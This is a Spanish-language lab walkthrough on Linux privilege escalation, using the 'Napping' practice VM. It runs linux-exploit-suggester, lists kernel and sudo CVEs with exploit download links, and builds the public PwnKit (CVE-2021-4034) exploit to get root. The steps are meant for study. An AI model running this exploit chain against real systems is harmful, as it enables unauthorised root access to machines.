

Napping

Caso Practico para aprender escalar privilegios,

Venimos de aqui [#escaladadeprivilegiosLinux](#)

herramientas para escalar privilegios a una intrusion de una maquina linux la cual es esta <https://github.com/The-Z-Labs/linux-exploit-suggester>

para ello nos descargamos la maquina de vulhub napping una vez echo esto nos logueamos con ssh

```
daniel@192.168.179:~$ ssh daniel@192.168.146.179
> ssh daniel@192.168.146.179
daniel@192.168.146.179's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
```

Ponemos la contraseña como dice el pinguno de Mario

<https://www.youtube.com/watch?v=VeX4S9jSH-0>

Una vez dentro nos descargamos con git clone el repositorio

<https://github.com/The-Z-Labs/linux-exploit-suggester.git>

```
daniel@napping:~$ git clone https://github.com/The-Z-Labs/linux-exploit-suggester.git
Cloning into 'linux-exploit-suggester'...
remote: Enumerating objects: 527, done.
remote: Counting objects: 100% (66/66), done.
remote: Compressing objects: 100% (40/40), done.
remote: Total 527 (delta 41), reused 44 (delta 26), pack-reused 461
Receiving objects: 100% (527/527), 394.81 KiB | 1.58 MiB/s, done.
Resolving deltas: 100% (303/303), done.
daniel@napping:~$ ls
linux-exploit-suggester
daniel@napping:~$ cd linux-exploit-suggester
daniel@napping:~/linux-exploit-suggester$ ls
CHANGELOG LICENSE README.md linux-exploit-suggester.sh
daniel@napping:~/linux-exploit-suggester$ chmod 777 linux-exploit-suggester.sh
daniel@napping:~/linux-exploit-suggester$ ,7
daniel@napping:~/linux-exploit-suggester$ ./linux-exploit-suggester.sh
```

Lo clonamos nos metemos dentro con CD y despues para mas pruebas le hacemos un chmod 777 y despues lo ejecutamos con ./+nombredel.sh

Una vez ejecutado nos dice todas las vulnerabilidades que ha encontrado para escalar privilegios

```
Possible Exploits:

[+] [CVE-2022-2586] nft_object UAF

Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: probable
Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
```

Una vez visto elegimos el que mas nios guste para probar

```
[+] [CVE-2021-4034] PwnKit

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit
```

Elegimos y buscamos en el buscador



Una vez encontrado le clickamos

y realizamos el mismo procedimiento

```
daniel@napping:~/linux-exploit-suggester/escalada$ git clone https://github.com/berdav/CVE-2021-4034.git
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56
Unpacking objects: 100% (92/92), 22.69 KiB | 318.00 KiB/s, done.
daniel@napping:~/linux-exploit-suggester/escalada$ ls
CVE-2021-4034
daniel@napping:~/linux-exploit-suggester/escalada$ cd CVE-2021-4034
daniel@napping:~/linux-exploit-suggester/escalada/CVE-2021-4034$ ls
LICENSE Makefile README.md cve-2021-4034.c cve-2021-4034.sh dry-run pwnkit.c
daniel@napping:~/linux-exploit-suggester/escalada/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:
daniel@napping:~/linux-exploit-suggester/escalada/CVE-2021-4034$ |
```

Hacemos el make y

luego el ./cve

y ya estamos como root

Para que se vea mas bonito

escribimos script /dev/null -c bash

y nos queda

como esto

y ya estaria